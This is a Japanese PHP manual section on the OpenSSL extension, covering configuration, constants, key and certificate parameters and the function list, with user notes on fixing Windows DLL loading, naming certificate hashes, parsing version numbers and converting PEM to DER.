Libeay32.dll enters the picture because php_openssl.dll depends on it (and also on ssleay32.dll). What I think happens is that Apache first tries to load php_openssl.dll programmatically from the path specified by the extension_dir key. But then, the loading of the so-called dependent DLLs is left to Windows' default mechanism. If Windows finds an incompatible version of a dependent DLL, you get the error.

So clearly the fix is to ensure that the correct version of libeay32.dll is loaded. On my machine, at least three other processes have loaded various versions of this same DLL. They include the Mozy backup client, Windows Explorer (because Mozy installs support in Explorer) and the OpenOffice suite. My machine is quite different in this respect from a dedicated server on which one probably wants as few extraneous processes as possible.  Presumably on a server one can follow advice that suggests copying the dlls to the system32 directory, for example. But I'm not about to mess with my other programs by making system-wide changes.

So what to do? I didn't find the available information on how Windows searches for DLLs to be very useful, mainly because I didn't understand it. But it does say that the first place Windows looks is "The directory from which the application loaded."

To cut to the chase, after a lot of experimentation I came to a key realization -- "the application" is APACHE, not PHP. So I copied libeay32.dll to the Apache2.2/bin directory. Problem solved. No error messages and running phpinfo confirms that OpenSSL is present and enabled.

Good luck, and stay out of DLL Hell.
Fernando rubio 05-Jun-2011 11:20
OpenSSL and IIS

Open php.ini
uncomment the following:
extension=php_openssl.dll

Make sure you have config the following section pointing to your php install directory (in my case is located in a second partition at e:\php) (very recommended practice)

; Directory in which the loadable extensions (modules) reside.
extension_dir = "e:/php/ext"

Add your php directory to the PATH variable

start>run>type cmd
on windows console type:
set PATH=%PATH%;e:\php
(remember replace e:\php with YOUR directory)
(note that using %path% is the same as var+=value, so the directory will be appended at the end of the variable)

php5 come with all the dll in the zip package so if you add the php directory to the path variable, you don't need to move anything to your windows system directory (very safe for later updates, because you just replace the content of your php directory)

After all these step you ready.. but of course you need to restart your IIS to apply changes, so

start>run>inetsrv/iis.msc
right click on your computer
all task>restart IIS

done!
mtudor AT icefusion remove me DOT co uk 24-Oct-2008 04:52
SYMPTOMS AND SETUP
------------------

For anyone having problems enabling the PHP openssl extension on WINDOWS.

I uncommented:  extension=php_openssl.dll  and installed the latest versions of ssleay.dll and libeay.dll in <windows>\system32.

When I restarted my web server and examined phpinfo(), there was no "openssl" headed section (although there were references to openssl in other sections).

I also found this error in my web server logs (<apache dir>/logs/ssl.log and <apache dir>/logs/access.log).

PHP Warning:  PHP Startup: Unable to load dynamic library 'C:\\Program Files\\PHP\\ext\\php_openssl.dll' - The operating system cannot run %1.\r\n in Unknown on line 0

I have PHP 5.2.6 running on Apache 2.2.3 for Windows.

CAUSE
-----

This was caused by PHP picking up the WRONG VERSIONS of libeay.dll and ssleay.dll, which were present in multiple locations on my computer.

When any application attempts to use a dll file in windows, the system searches for this file using the following order:
   1. The directory from which the application loaded.
   2. The windows\system32 directory.
   3. The windows\system directory.
   4. The windows directory.
   5. The current directory.
   6. The directories that are listed in the PATH environment variable.

   (http://msdn.microsoft.com/en-us/library/ms682586.aspx)

For PHP running under Apache, the application directory is <apache dir>\bin and NOT <php dir>.  PHP was finding OUT OF DATE versions of libeay.dll and ssleay.dll in <apache dir>\bin (probably installed when I enabled SSL support in my web server).  Because of this, the latest versions in windows\system32 were never reached.

NOTE: Although my problem was caused by an Apache2 specific configuration, I can imagine others might face this problem if, say, they install the openssl dlls in the PHP directory and add this directory to the PATH.  I haven't checked it but I would imagine if another directory in the path contains outdated openssl dlls and this is listed before the PHP directory, a similar situation would occur.

SOLUTION
--------

Either replace the dlls in the first location on the search order, or, as I did, you can install the latest openssl dlls in the the windows system32 directory and just rename to .old the ssleay.dll and libeay.dll files in the search order locations before windows\system32.

Hope that helps others who might be stuck with this.

Mark.


実行時設定

php.ini の設定により動作が変化します。

openssl 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
openssl.cafile | "" | PHP_INI_PERDIR | PHP 5.6.0.以降で利用可能
openssl.capath | "" | PHP_INI_PERDIR | PHP 5.6.0.以降で利用可能
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

openssl.cafile string

ローカルファイルシステム上の証明書ファイルの場所。 verify_peer コンテキストオプションで リモートサーバーとの認証の際に使用します。

openssl.capath string

cafile が指定されていなかったりその場所にファイルが 見つからなかったりした場合、capath が指す ディレクトリを検索して認証ファイルを探します。capath は認証ファイルのディレクトリを正確に指している必要があります。

SSL コンテキスト オプションも参照してください。

User Contributed Notes

ofrick at bluewin dot ch 14-Aug-2018 08:52
above code should be corrected to:

                    $Destfile= $ParsedCertificatePbject["hash"].".0";
                    $TargetFilename = dirname($Sourcefile)."/".$Destfile;
mmi at uhb-consulting dot de 30-Apr-2018 08:20
Hashed directory bedeutet die Dateinamen mussen mit dem Openssl hash, den ihr mittels openssl_x509_parse im Wert hash bekommt (Name) + die Dateiendung 0.
Bei doppelten HASH werten wird die Dateiendung incrementiert.
mmi at uhb-consulting dot de 30-Apr-2018 08:17
in capath the Certificates must be placed with the certificates hash as name and .0 as Ending.

Here is how to get the hashes from Certificates lying in this folder and automatically rename them in a correct way:
<?php
    $paths=openssl_get_cert_locations();
    $allowed=array("cer","crt","pem");
    if (!empty($paths['ini_capath'])){
        $capathDirectory = dir($paths['ini_capath']);
        while (false !== ($entry = $capathDirectory->read())) {
            $Sourcefile=$paths['ini_capath']."/".$entry;
            if (file_exists( $Sourcefile)){
                $path_parts = pathinfo($Sourcefile);
                if (in_array(strtolower($path_parts['extension']),$allowed)){
                    $ParsedCertificatePbject = openssl_x509_parse(file_get_contents($Sourcefile));
                    $Sourcefile= $ParsedCertificatePbject["hash"].".0";
                    $TargetFilename = dirname($Sourcefile)."/".$Sourcefile;
                    if (!file_exists($TargetFilename)) {
                        rename ($Sourcefile ,$TargetFilename);
                    }
                }
            }
        }
        $capathDirectory->close();
    }
?>


リソース型

PHP 8.0.0 より前のバージョンでは、 OpenSSL モジュールで3つのリソースタイプが定義されていました:

  • OpenSSL key
  • OpenSSL X.509
  • OpenSSL X.509 CSR

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

目次

  • 目的を調べるフラグ
  • 非対称暗号化のパディングフラグ
  • キーの型
  • PKCS7 フラグ/定数
  • CMS (暗号メッセージシンタックス) 関連のフラグ/定数
  • 署名アルゴリズム
  • 暗号化方式
  • バージョン定数
  • Server Name Indication 定数
  • その他の定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

User Contributed Notes

There are no user contributed notes for this page.


目的を調べるフラグ

X509_PURPOSE_SSL_CLIENT (int)
X509_PURPOSE_SSL_SERVER (int)
X509_PURPOSE_NS_SSL_SERVER (int)
X509_PURPOSE_SMIME_SIGN (int)
X509_PURPOSE_SMIME_ENCRYPT (int)
X509_PURPOSE_CRL_SIGN (int)
X509_PURPOSE_ANY (int)

User Contributed Notes

There are no user contributed notes for this page.


非対称暗号化のパディングフラグ

OPENSSL_PKCS1_PADDING (int)
OPENSSL_SSLV23_PADDING (int)
OPENSSL_NO_PADDING (int)
OPENSSL_PKCS1_OAEP_PADDING (int)

User Contributed Notes

There are no user contributed notes for this page.


キーの型

OPENSSL_KEYTYPE_RSA (int)
OPENSSL_KEYTYPE_DSA (int)
OPENSSL_KEYTYPE_DH (int)
OPENSSL_KEYTYPE_EC (int)
この定数が使えるのは、PHP をコンパイルする際に OpenSSL 0.9.8 以降を使ったときだけです。 PHP 5.2.0 以降で利用可能です。

User Contributed Notes

There are no user contributed notes for this page.


PKCS7 フラグ/定数

S/MIME 関数はビットフィールドを使用して指定したフラグを使用します。 このビットフィールドには、以下の値を一つ以上含むことが可能です。

PKCS7 定数
定数 | 説明
PKCS7_TEXT | text/plain content type ヘッダを暗号化/署名されたメッセージに 追加します。復号化または認証を行う際には、このヘッダは出力から 取り除かれます。復号化または認証されたメッセージがMIME 型 text/plain でない場合、エラーとなります。
PKCS7_BINARY | 通常は、入力されたメッセージは CR および LF を行端として使用した 「正規化」された形式に変換されます。こらは、S/MIME の規格に 基づくものです。このオプションが指定された場合、変換は行われません。 この機能は、MIME 形式でないバイナリデータを処理する際に 便利です。
PKCS7_NOINTERN | メッセージを認証する際に、通常、メッセージに含まれる証明書が 証明書にサインする際に検索されます。 このオプションでは、 openssl_pkcs7_verify() の extracerts パラメータで指定した証明書 のみが使用されます。しかし、指定された証明書を信頼されていな い CA として使用することも可能です。
PKCS7_NOVERIFY | サインつきメッセージをサインした証明書の署名について 検証しません。
PKCS7_NOCHAIN | サインを行った側の証明書の認証の連鎖を行いません。 この場合、サイン付きのメッセージにある証明書を未認証の CA として使用しません。
PKCS7_NOCERTS | メッセージにサインする際、通常はサインをする人の証明書が挿入 されますが、このオプションを指定した場合はそうなりません。これに よりサイン付きのメッセージのサイズは小さくなりますが、認証 側が（例えば、openssl_pkcs7_verify() の extracerts を用いて渡すことにより） サインをした人の証明書のコピーをローカルに用意する必要があります。
PKCS7_NOATTR | 通常、メッセージがサインされる時、サインした時間やサポートされる 対象アルゴリズムを含む一連の属性が付加されます。このオプションを 指定した場合、それらの属性は付加されません。
PKCS7_DETACHED | メッセージにサインをする際、MIME型 "multipart/signed" を指定してクリアテキストでサインを行います。これは、 openssl_pkcs7_sign() において フラグを指定しなかった場合の flags パラメータのデフォルトです。このオプションをオフにした場合、 メッセージは不透明なサインによりサインされます。これは、 メールリレイによる変換に対してより耐性がありますが、S/MIME を サポートしないメールエージェントでは読むことはできません。
PKCS7_NOSIGS | メッセージにサインや認証を試みません。

User Contributed Notes

There are no user contributed notes for this page.


CMS (暗号メッセージシンタックス) 関連のフラグ/定数

CMS 関連の関数は、以下のうちひとつ以上の値をビットフィールドを使って指定することで、フラグを利用します。

CMS 関連の定数
定数 | 説明
OPENSSL_CMS_TEXT | 暗号化済み/署名済み のメッセージに対して text/plain のヘッダを追加します。 復号化 または 検証する際に、これらのヘッダは出力から削除されます - もし 複号化済み/検証済み メッセージの MIMEタイプ が text/plain でない場合、エラーが発生します。
OPENSSL_CMS_BINARY | 通常、入力されるメッセージは 行末を CR と LF として用いる "canonical" フォーマットに変換されます: これは、CMS の仕様です。 このオプションが指定されると、変換は行われません。 これは、 CMS フォーマットではない可能性があるバイナリデータを扱うのに便利です。
OPENSSL_CMS_NOINTERN | メッセージを検証する際、 通常は(もしあれば)メッセージに含まれる証明書を 署名に用いた証明書として探します。 このオプションを使うと、 openssl_cms_verify() 関数の untrusted_certificates_filename 引数で指定した証明書だけを検証に使うようになります。 ここで証明書を指定しても、 それは信頼されない証明書のまま引き続き使われます。
OPENSSL_CMS_NOVERIFY | 署名されたメッセージの、署名者の証明書を検証しません。
OPENSSL_CMS_NOCERTS | メッセージに署名する場合、 通常は署名者の証明書がメッセージに付加されます - このオプションを使うと、その証明書を除去できます。 証明書を除去すると、署名済みのメッセージのサイズが減りますが、 (たとえば、openssl_cms_verify() 関数に untrusted_certificates_filename を使って渡すなどして) 検証する側が署名者の証明書をローカルに持っておく必要があります。
OPENSSL_CMS_NOATTR | 通常、メッセージが署名済みの場合、 署名した時刻やサポートされている共通鍵アルゴリズムの情報が含まれる、 一連の属性情報が付加されます。 このオプションを使うと、その属性を含めないようにすることができます。
OPENSSL_CMS_DETACHED | メッセージに署名する際、 MIMEタイプ "multipart/signed" を使って、 平文で署名します。 これは、openssl_cms_sign() で何も flags を指定しなかったときのデフォルトの動作です。 このオプションを無効にした場合、メッセージは opaque 署名を使って署名されます。 これは、メールがリレーされる際の変換を防ぐ一方で、 S/MIME をサポートしていないエージェントでは読めなくなります。
OPENSSL_CMS_NOSIGS | メッセージの署名を検証しません。

User Contributed Notes

There are no user contributed notes for this page.


署名アルゴリズム

OPENSSL_ALGO_DSS1 (int)
OPENSSL_ALGO_SHA1 (int)
openssl_sign() および openssl_verify() のデフォルトアルゴリズムとして用いられます。
OPENSSL_ALGO_SHA224 (int)
PHP 5.4.8 で追加されました。
OPENSSL_ALGO_SHA256 (int)
PHP 5.4.8 で追加されました。
OPENSSL_ALGO_SHA384 (int)
PHP 5.4.8 で追加されました。
OPENSSL_ALGO_SHA512 (int)
PHP 5.4.8 で追加されました。
OPENSSL_ALGO_RMD160 (int)
PHP 5.4.8 で追加されました。
OPENSSL_ALGO_MD5 (int)
OPENSSL_ALGO_MD4 (int)
OPENSSL_ALGO_MD2 (int)
PHP 5.2.13 以降および PHP 5.3.2 以降は、この定数が使えるのは PHP のコンパイル時に MD2 サポートを有効にした場合だけになりました。 MD2 サポートを有効にするには、PHP のコンパイル時に -DHAVE_OPENSSL_MD2_H CFLAG を渡し、かつ OpenSSL 1.0.0 以降のコンパイル時に enable-md2 を指定する必要があります。

User Contributed Notes

There are no user contributed notes for this page.


暗号化方式

OPENSSL_CIPHER_RC2_40 (int)
OPENSSL_CIPHER_RC2_128 (int)
OPENSSL_CIPHER_RC2_64 (int)
OPENSSL_CIPHER_DES (int)
OPENSSL_CIPHER_3DES (int)
OPENSSL_CIPHER_AES_128_CBC (int)
OPENSSL_CIPHER_AES_192_CBC (int)
OPENSSL_CIPHER_AES_256_CBC (int)

注意:

これらの定数は、5.4.0 で追加されました。

User Contributed Notes

There are no user contributed notes for this page.


バージョン定数

OPENSSL_VERSION_TEXT (string)
PHP 5.2.0 で追加されました。
OPENSSL_VERSION_NUMBER (int)
PHP 5.2.0 で追加されました。

注意:

これらの定数は、5.2.0 で追加されました。

User Contributed Notes

sergey dot dryabzhinsky at gmail dot com 27-Oct-2016 02:18
Plase note that these constants show not
the current system openssl library version
but version PHP was compiled with.
fontajos at phpeppershop dot com 23-May-2016 12:02
Fixed version (patch hexdec conversion + version_compare usage)

<?php
// OPENSSL_VERSION_NUMBER parser, works from OpenSSL v.0.9.5b+ (e.g. for use with version_compare())
// OPENSSL_VERSION_NUMBER is a numeric release version identifier for OpenSSL
// Syntax: MNNFFPPS: major minor fix patch status (HEX)
// The status nibble meaning: 0 => development, 1 to e => betas, f => release
// Examples:
// - 0x000906023 => 0.9.6b beta 3
// - 0x00090605f => 0.9.6e release
// - 0x1000103f  => 1.0.1c
/**
* @param Return Patch-Part as decimal number for use with version_compare
* @param OpenSSL version identifier as hex value $openssl_version_number
*/
function get_openssl_version_number($patch_as_number=false,$openssl_version_number=null) {
    if (is_null($openssl_version_number)) $openssl_version_number = OPENSSL_VERSION_NUMBER;
    $openssl_numeric_identifier = str_pad((string)dechex($openssl_version_number),8,'0',STR_PAD_LEFT);

    $openssl_version_parsed = array();
    $preg = '/(?<major>[[:xdigit:]])(?<minor>[[:xdigit:]][[:xdigit:]])(?<fix>[[:xdigit:]][[:xdigit:]])';
    $preg.= '(?<patch>[[:xdigit:]][[:xdigit:]])(?<type>[[:xdigit:]])/';
    preg_match_all($preg, $openssl_numeric_identifier, $openssl_version_parsed);
    $openssl_version = false;
    if (!empty($openssl_version_parsed)) {
        $alphabet = array(1=>'a',2=>'b',3=>'c',4=>'d',5=>'e',6=>'f',7=>'g',8=>'h',9=>'i',10=>'j',11=>'k',
                                       12=>'l',13=>'m',14=>'n',15=>'o',16=>'p',17=>'q',18=>'r',19=>'s',20=>'t',21=>'u',
                                       22=>'v',23=>'w',24=>'x',25=>'y',26=>'z');
        $openssl_version = intval($openssl_version_parsed['major'][0]).'.';
        $openssl_version.= intval($openssl_version_parsed['minor'][0]).'.';
        $openssl_version.= intval($openssl_version_parsed['fix'][0]);
        $patchlevel_dec = hexdec($openssl_version_parsed['patch'][0]);
        if (!$patch_as_number && array_key_exists($patchlevel_dec, $alphabet)) {
            $openssl_version.= $alphabet[$patchlevel_dec]; // ideal for text comparison
        }
        else {
            $openssl_version.= '.'.$patchlevel_dec; // ideal for version_compare
        }
    }
    return $openssl_version;
}
?>
fontajos at phpeppershop dot com 03-May-2016 03:46
// OPENSSL_VERSION_NUMBER parser, works from OpenSSL v.0.9.5b+ (e.g. for use with version_compare())
// OPENSSL_VERSION_NUMBER is a numeric release version identifier for OpenSSL
// Syntax: MNNFFPPS: major minor fix patch status (HEX)
// The status nibble meaning: 0 => development, 1 to e => betas, f => release
// Examples:
// - 0x000906023 => 0.9.6b beta 3
// - 0x00090605f => 0.9.6e release
// - 0x1000103f  => 1.0.1c
/**
 * @param OpenSSL version identifier as hex value $openssl_version_number
 */
function get_openssl_version_number($patch_as_number=false,$openssl_version_number=null) {
    if (is_null($openssl_version_number)) $openssl_version_number = OPENSSL_VERSION_NUMBER;
    $openssl_numeric_identifier = str_pad((string)dechex($openssl_version_number),8,'0',STR_PAD_LEFT);

    $openssl_version_parsed = array();
    $preg = '/(?<major>[[:xdigit:]])(?<minor>[[:xdigit:]][[:xdigit:]])(?<fix>[[:xdigit:]][[:xdigit:]])';
    $preg.= '(?<patch>[[:xdigit:]][[:xdigit:]])(?<type>[[:xdigit:]])/';
    preg_match_all($preg, $openssl_numeric_identifier, $openssl_version_parsed);

    $openssl_version = false;
    if (!empty($openssl_version_parsed)) {
        $alphabet = array(1=>'a',2=>'b',3=>'c',4=>'d',5=>'e',6=>'f',7=>'g',8=>'h',9=>'i',10=>'j',11=>'k',12=>'l',13=>'m',
                                      14=>'n',15=>'o',16=>'p',17=>'q',18=>'r',19=>'s',20=>'t',21=>'u',22=>'v',23=>'w',24=>'x',25=>'y',26=>'z');
        $openssl_version = intval($openssl_version_parsed['major'][0]).'.';
        $openssl_version.= intval($openssl_version_parsed['minor'][0]).'.';
        $openssl_version.= intval($openssl_version_parsed['fix'][0]);
        if (!$patch_as_number && array_key_exists(intval($openssl_version_parsed['patch'][0]), $alphabet)) {
            $openssl_version.= $alphabet[intval($openssl_version_parsed['patch'][0])]; // ideal for text comparison
        }
        else {
            $openssl_version.= '.'.intval($openssl_version_parsed['patch'][0]); // ideal for version_compare
        }
    }

    return $openssl_version;
}
sebastian.goendoer 19-Aug-2015 08:06
<?php
echo "openssl version text: " . OPENSSL_VERSION_TEXT . "\n";
echo "openssl version number:  " . OPENSSL_VERSION_NUMBER . "\n";
?>

will output something like:

    openssl version text: OpenSSL 1.0.2d 9 Jul 2015
    openssl version number:  268443727

see also: https://wiki.openssl.org/index.php/Manual:OPENSSL_VERSION_NUMBER(3)


Server Name Indication 定数

OPENSSL_TLSEXT_SERVER_NAME (string)
SNI サポートが有効か否か。

注意:

この定数は 5.3.2 で追加されました。PHP を、 OpenSSL 0.9.8j 以降を使ってビルドしている必要があります。

User Contributed Notes

There are no user contributed notes for this page.


その他の定数

OPENSSL_RAW_DATA (bool)
openssl_encrypt() や openssl_decrypt() 関数で この値が設定されると、生のデータがそのまま返されます。 設定されない場合、Base64 エンコードされたデータが呼び出し側に返されます。
OPENSSL_ZERO_PADDING (bool)
デフォルトでは、暗号化の操作は標準的なブロックパディングを使ってパディングされ、 追加されたパディングは、復号化される際にチェックされ、除去されます。 openssl_encrypt() や openssl_decrypt() の options に OPENSSL_ZERO_PADDING が指定された場合、パディングは行われないので、 暗号化または復号化されるデータの総量はブロックサイズの倍数でなければなりません。 そうでない場合、エラーが発生します。
OPENSSL_ENCODING_SMIME (int)
エンコーディングが S/MIME 形式であることを示します。
OPENSSL_ENCODING_DER (int)
エンコーディングが DER (Distinguished Encoding Rules) 形式であることを示します。
OPENSSL_ENCODING_PEM (int)
エンコーディングが PEM (Privacy-Enhanced Mail) 形式であることを示します。

User Contributed Notes

There are no user contributed notes for this page.


キー/証明書パラメータ

OpenSSL 関数のうち、キーまたは証明書パラメータを必要とするものはごく一部です。 以下の方法を使用してそれらを取得できます。

  • 証明書

    1. openssl_x509_read() から返された OpenSSLCertificate クラスのインスタンス。 (PHP 8.0.0 より前のバージョンでは、OpenSSL X.509 型のリソース)
    2. file://path/to/cert.pem 形式の文字列。 このファイルは、PEM エンコードされた証明書である必要があります。
    3. PEM エンコードされた証明書の内容を含む文字列。 -----BEGIN CERTIFICATE----- から始まります。

  • 証明書の署名リクエスト (Certificate Signing Requests (CSRs))

    1. openssl_csr_new() 関数が返した OpenSSLCertificateSigningRequest クラスのインスタンス。 (PHP 8.0.0 より前のバージョンでは、 OpenSSL X.509 CSR 型のリソース)
    2. file://path/to/csr.pem 形式の文字列。 このファイルは、PEM エンコードされた証明書である必要があります。
    3. PEM エンコードされた証明書の内容を含む文字列。 -----BEGIN CERTIFICATE----- から始まります。

  • 公開鍵/秘密鍵

    1. openssl_get_publickey() あるいは openssl_get_privatekey() から返された OpenSSLAsymmetricKey クラスのインスタンス。 (PHP 8.0.0 より前のバージョンでは、 OpenSSL key 型のリソース)
    2. 公開鍵のみ: OpenSSLCertificate クラスのインスタンス。 (PHP 8.0.0 より前のバージョンでは、 OpenSSL X.509 型のリソース)
    3. file://path/to/file.pem 形式の文字列。- このファイルは、PEM エンコードされた証明書/秘密鍵である 必要があります（両方を含むことも可能です）。
    4. PEM エンコードされた証明書/キーの内容を含む文字列。 -----BEGIN CERTIFICATE----- から始まります。
    5. 秘密鍵については array($key, $passphrase) という構文を使用することも可能です。 ただし、$key は file:// または上記のテキスト表現形式を使用して指定したキー、 $passphrase はその秘密鍵に関するパスワードを有する文字列を表します。

User Contributed Notes

There are no user contributed notes for this page.


証明書の認証

サイン/証明書を認証する関数をコールする際、 ca_info パラメータは、ファイルと認証済みの CA ファイルの場所を指定するファイルディレクトリ名を含む配列です。 ディレクトリが指定された場合、openssl コマンドが 使用できるような正しい形式にハッシュされたディレクトリである必要が あります。

User Contributed Notes

There are no user contributed notes for this page.


OpenSSL 関数

目次

  • openssl_cipher_iv_length — 暗号 iv の長さを取得
  • openssl_cms_decrypt — CMS メッセージを復号化する
  • openssl_cms_encrypt — CMS メッセージを暗号化する
  • openssl_cms_read — CMS ファイルを、PEM証明書の配列にエクスポートする
  • openssl_cms_sign — ファイルに署名する
  • openssl_cms_verify — CMS の署名を検証する
  • openssl_csr_export_to_file — CSR をファイルにエクスポートする
  • openssl_csr_export — CSR を文字列としてエクスポートする
  • openssl_csr_get_public_key — CSR の公開鍵を返す
  • openssl_csr_get_subject — CSR の subject を返す
  • openssl_csr_new — CSR を作成する
  • openssl_csr_sign — CSRに他の証明書（あるいは自分自身）で署名して証明書を作成する
  • openssl_decrypt — データを復号する
  • openssl_dh_compute_key — ローカルのDH秘密鍵とリモート側のDH公開鍵を使い、共有シークレットを計算する
  • openssl_digest — ダイジェストを計算する
  • openssl_encrypt — データを暗号化する
  • openssl_error_string — OpenSSL エラーメッセージを返す
  • openssl_free_key — キーリソースを開放する
  • openssl_get_cert_locations — 有効な証明書の格納場所を検索する
  • openssl_get_cipher_methods — 利用可能な暗号メソッドを取得
  • openssl_get_curve_names — ECC で利用可能な楕円曲線の名前を取得する
  • openssl_get_md_methods — 利用可能なダイジェスト・メソッドを取得
  • openssl_get_privatekey — openssl_pkey_get_private のエイリアス
  • openssl_get_publickey — openssl_pkey_get_public のエイリアス
  • openssl_open — シール(暗号化)されたデータをオープン(復号)する
  • openssl_pbkdf2 — PKCS5 v2 の PBKDF2 文字列を生成する
  • openssl_pkcs12_export_to_file — PKCS#12 互換の証明書保存ファイルをエクスポートする
  • openssl_pkcs12_export — PKCS#12 互換の証明書保存ファイルを変数にエクスポートする
  • openssl_pkcs12_read — PKCS#12 認証ストアをパースして配列形式にする
  • openssl_pkcs7_decrypt — S/MIME 暗号化されたメッセージを復号する
  • openssl_pkcs7_encrypt — S/MIME メッセージを暗号化する
  • openssl_pkcs7_read — PKCS7 ファイルを PEM証明書 の配列にエクスポートする
  • openssl_pkcs7_sign — S/MIME メッセージに署名する
  • openssl_pkcs7_verify — S/MIME で署名されたメッセージの署名を検証する
  • openssl_pkey_derive — リモートとローカルの DH/ECDH鍵 の公開値のための、共有シークレットを計算する
  • openssl_pkey_export_to_file — エクスポート可能な形式で、キーをファイルに取得する
  • openssl_pkey_export — エクスポート可能な形式で、キーを文字列に取得する
  • openssl_pkey_free — 秘密鍵を開放する
  • openssl_pkey_get_details — キーの詳細の配列を返す
  • openssl_pkey_get_private — 秘密鍵を取得する
  • openssl_pkey_get_public — 証明書から公開鍵を抽出し、使用できるようにする
  • openssl_pkey_new — 新規に秘密鍵を生成する
  • openssl_private_decrypt — 秘密鍵でデータを復号する
  • openssl_private_encrypt — 秘密鍵でデータを暗号化する
  • openssl_public_decrypt — 公開鍵でデータを復号する
  • openssl_public_encrypt — 公開鍵でデータを暗号化する
  • openssl_random_pseudo_bytes — 疑似ランダムなバイト文字列を生成する
  • openssl_seal — データをシール(暗号化)する
  • openssl_sign — 署名を生成する
  • openssl_spki_export_challenge — 署名済みの公開鍵とチャレンジに関連するチャレンジをエクスポートする
  • openssl_spki_export — 署名済みの公開鍵とチャレンジから、有効なPEMフォーマットの公開鍵をエクスポートする
  • openssl_spki_new — 署名された公開鍵とチャレンジを新規に作成する
  • openssl_spki_verify — 署名済みの公開鍵とチャレンジを検証する
  • openssl_verify — 署名を検証する
  • openssl_x509_check_private_key — 秘密鍵が証明書に対応するかを確認する
  • openssl_x509_checkpurpose — 証明書が特定の目的に使用可能かどうか確認する
  • openssl_x509_export_to_file — 証明書をファイルにエクスポートする
  • openssl_x509_export — 証明書を文字列としてエクスポートする
  • openssl_x509_fingerprint — 与えられた X.509 証明書のフィンガープリントあるいはダイジェストを計算する
  • openssl_x509_free — 証明書リソースを開放する
  • openssl_x509_parse — X509 証明書をパースし、配列として情報を返す
  • openssl_x509_read — X.509 証明書をパースし、オブジェクトを返す
  • openssl_x509_verify — x509証明書のデジタル署名を公開鍵で検証する

User Contributed Notes

Anonymous 24-Nov-2020 10:50
Improvement to the first comment, this function will handle correctly cert chains when converting from PEM to DER format:

<?php

    function pemToDer(string $pem_data): string
    {
        $der_data = '';

        $begin = "-----BEGIN CERTIFICATE-----";
        $end   = "-----END CERTIFICATE-----";
        while (strpos($pem_data, $begin) !== false) {
            $pem_data = substr($pem_data, strpos($pem_data, $begin) + strlen($begin));
            $der_data .= substr($pem_data, 0, strpos($pem_data, $end));
            $pem_data = substr($pem_data, strpos($pem_data, $end) + strlen($end));
        }

        return base64_decode($der_data);
    }
karel dot wintersky at gmail dot com 20-Sep-2017 11:40
May be useful for cyphers execution speed.

<?php
// PHP 7.0+ required!
// see results at https://gist.github.com/KarelWintersky/fe29dcad75de515e5a468894e7c070e6

const TEST_COUNT = 100000;
const SOURCE = 'Note that HTML tags are not allowed in the posts, but the note formatting is preserved.';
const KEY = "password";

function TESTER( $testing_function, $argument )
{
    $t = microtime(true);

    for ($test_iterator = 0; $test_iterator < TEST_COUNT; $test_iterator++) {
        $testing_function( $argument );
    }
    return round(microtime(true) - $t, 4);
}

$crypt = function($cipher) {
    $ivlen = openssl_cipher_iv_length($cipher);
    $iv = openssl_random_pseudo_bytes($ivlen);
    openssl_encrypt(SOURCE, $cipher, KEY, $options=0, $iv);
};

$methods = openssl_get_cipher_methods(false);

array_splice( $methods, 0, count($methods) / 2);

$timings = array();

foreach ($methods as $cypher) {
    $time = TESTER( $crypt, $cypher );
    $timings[ $cypher ] = $time;
    echo str_pad($cypher, 40, ' ', STR_PAD_LEFT), " have time  ", str_pad($time, 8, STR_PAD_LEFT), ' seconds. ', PHP_EOL;
}

uasort($timings, function($a, $b){
    return $a <=> $b;
});

$min_time = round(reset($timings) / TEST_COUNT, 7);
$min_cypher = key($timings);

$max_time = round(end($timings) / TEST_COUNT, 7);
$max_cypher = key($timings);

echo '-------------', PHP_EOL;
echo "Total tests: ", count($timings), PHP_EOL;
echo "Max timing : {$max_time} seconds for `{$max_cypher}` algorithm.", PHP_EOL;
echo "Min timing : {$min_time} seconds for `{$min_cypher}` algorithm.", PHP_EOL;

echo 'Details: ', PHP_EOL;

foreach ($timings as $m => $t) {
    echo '- ', str_pad($t, 8, STR_PAD_LEFT), " seconds for `{$m}`",  PHP_EOL;
}

echo PHP_EOL;
kraven at kraven dot org 10-Jan-2013 06:35
If you want to verify that a csr was generated properly from your private key you can do the following:

<?php
$countryName = "UK";
$stateOrProvinceName = "London";
$localityName = "Blah";
$organizationName = "Blah1";
$organizationalUnitName = "Blah2";
$commonName = "Joe Bloggs";
$emailAddress = "openssl@example.com";

$dn = array(
  "countryName" => $countryName,
  "stateOrProvinceName" => $stateOrProvinceName,
  "localityName" => $localityName,
  "organizationName" => $organizationName,
  "organizationalUnitName" => $organizationalUnitName,
  "commonName" => $commonName,
  "emailAddress" => $emailAddress
);

$badPriv = 'foo';

// generate a bad csr
$badCsr = openssl_csr_new($dn, $badPriv);

// generate private key
$priv = openssl_pkey_new();

// generate csr
$csr = openssl_csr_new($dn, $priv);

$badCsrDetails = openssl_pkey_get_details(openssl_csr_get_public_key($badCsr));
$privDetails = openssl_pkey_get_details($priv);
$csrDetails = openssl_pkey_get_details(openssl_csr_get_public_key($csr));

echo md5($badCsrDetails['rsa']['n']);
echo "\nDoes not match\n";
echo md5($privDetails['rsa']['n']);
echo "\nMatches\n";
echo md5($csrDetails['rsa']['n']);
echo "\n";
?>

This output is an md5 hash of the modulus.  The same check can be accomplished with openssl:
openssl rsa -noout -modulus -in server.key | openssl md5
openssl req -noout -modulus -in server.csr | openssl md5
rahuul at yours dot com 23-Mar-2010 11:43
for changing serial no of cert following is the solution:

<?php
$sscert = openssl_csr_sign($csr, $cacert, $privkey, $days,$config,$serial);
?>
web at mburda dot com 18-Jun-2008 09:45
There is a little problem with Matt Alexander's code below.
Both public and private key are generated internally and saved into OpenSSL class object properties but only private key is then used.
Public key is taken from an external file and if it differs from the one stored internally, OpenSSL fails to decrypt the text.
stephen_at_liberty-irm_dot_com 09-Mar-2008 03:14
This note is primarily aimed at folks storing encrypted things in MySQL as I'm unfamiliar with other database setups. If you store, for example, a credit card number that has been encrypted by openssl_public_encrypt inside of a database, the column type for the column you are storing the number in must be a blob. This is because "the result might contain arbitrary byte values" (MySQL Reference Manual). Basically, if you try to store it in a VARCHAR, LONGTEXT, etc, certain parts of the encrypted data may be dropped, truncated, etc. This will of course make the data impossible to decrypt. Hopefully this will help someone, because it had me stumped for about an hour!
